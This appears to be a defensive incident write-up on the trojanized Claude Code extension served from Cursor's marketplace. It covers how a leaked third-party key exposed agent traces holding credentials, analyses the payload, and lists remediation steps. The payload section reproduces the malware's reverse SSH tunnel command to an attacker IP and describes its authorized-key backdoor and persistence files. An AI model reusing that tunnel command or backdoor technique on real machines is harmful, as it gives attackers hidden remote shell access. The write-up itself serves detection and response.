Cursor has published the root cause of the October 29 incident in which trojanized builds of the Claude Code extension were served to developers from Cursor’s VS Code-compatible extension marketplace. According to Cursor’s November 13 update, the chain began outside Cursor. An access key Cursor had issued to Fireworks AI, one of its third-party inference providers, was exposed on the Fireworks side. That key gave read-only access to a shared storage bucket of coding-agent traces. Some of those traces still contained credentials that had never been scrubbed, and one of them was an internal Cursor credential with write access to the marketplace cache.

The case is worth reading closely if you run AI coding tools. A read-only key to “training data” became write access to a software distribution channel, because agent transcripts stored secrets in plaintext.

Timeline

  • Before October 29: Fireworks exposes the Cursor-issued access key. The attacker uses it to read the shared trace bucket, which holds mostly 2025 agent sessions from users outside Privacy Mode, and harvests credentials embedded in those traces.
  • October 29, ~02:27–13:35 PT: Using a stolen internal credential, the attacker writes modified Claude Code packages, versions 2.1.312 and 2.1.313, directly into the cache that backs Cursor’s extension marketplace. Windows and macOS users who installed or auto-updated during that roughly 11-hour window got the malicious build. Reports put potential exposure at up to about 5,000 users. Treat that figure as unconfirmed.
  • October 29–30: Cursor pulls the extension, takes the marketplace offline to audit other extensions and rotate keys, and revises its IoCs. Microsoft, StepSecurity and others publish payload analyses.
  • November 13: Cursor publishes the Fireworks root cause. It says trace exposure affected fewer than 0.05% of users and API-credential exposure fewer than 0.01% of customers.

Anthropic says it did not build or publish the tampered packages. Cursor says Open VSX and the Microsoft Marketplace never hosted them. Cursor’s own marketplace cache was the only distribution point. The legitimate fixed release is 2.1.314.

Payload

The trojanized extension.js ran a loader on activation. It did not steal tokens. It set up interactive remote access to the developer’s machine:

  • Login key: It checks ~/.ssh/authorized_keys for an entry commented svc-telemetry. If none exists, it appends an embedded Ed25519 public key. On Windows it also targets administrators_authorized_keys.
  • SSH enablement: It tries to turn on the local SSH server (Remote Login on macOS, OpenSSH Server on Windows).
  • Reverse tunnel: It writes a second private key (svc-telemetry-tun) to a hidden temp file ($TMPDIR/.stk_*). Every 60 seconds it runs ssh -N -R '*:0:localhost:22' [email protected], using autossh if it is installed. That exposes the victim’s sshd to the operator through NAT and firewalls. Some analyses also report an HTTP beacon on port 8099. The C2 is reported offline.
  • Persistence: On macOS it installs a LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist with helpers ~/.config/.smt and ~/.config/.smtk. On Windows it uses %USERPROFILE%\.config\smt.cmd, smtk and sysmon.cmd.

Researchers found bugs in the loader that likely stopped it on many hosts where SSH was not already enabled. Any host where sshd was already running, which includes many developer Macs and jump boxes, should be treated as fully accessible to the attacker during the window.

Impact

The tunnel gave interactive shell access as the developer user. From there the attacker could reach everything that user can: cloud CLI sessions, kubeconfigs, SSH agent keys, Git credentials, and internal networks reachable from the laptop. Uninstalling the extension does not remove the authorized key or the persistence.

The Fireworks exposure is a separate problem. If your organization used Cursor without Privacy Mode in 2025, secrets pasted into or printed during agent sessions may have been in the exposed bucket, whether or not you ever installed Claude Code.

What to do now

  1. Hunt for the key: Run grep -n svc-telemetry ~/.ssh/authorized_keys on every developer endpoint, and check C:\ProgramData\ssh\administrators_authorized_keys on Windows. Before you remove the line, record the key’s fingerprint for your incident notes.
  2. Remove persistence: Delete the LaunchAgent or .cmd scripts, the ~/.config/.smt* files and $TMPDIR/.stk_*. Kill any ssh -R or autossh processes pointing at 134.209.82.225.
  3. Check for tunnel use: Look in sshd logs for logins from 127.0.0.1 or ::1 using the svc-telemetry key. Look in egress logs for outbound TCP 22 or 8099 to 134.209.82.225 since October 29.
  4. Update and pin: Move to Claude Code 2.1.314 or later. Turn off extension auto-update on high-privilege workstations.
  5. Rotate credentials: On any host where the tunnel worked, rotate everything the developer user could reach. Separately, rotate any secret that may have appeared in non-Privacy-Mode Cursor agent sessions.
  6. Policy: Turn on Privacy Mode org-wide. Add secret scanning to the prompts and logs your AI tools keep. Block outbound SSH from endpoints that don’t need it.

Sources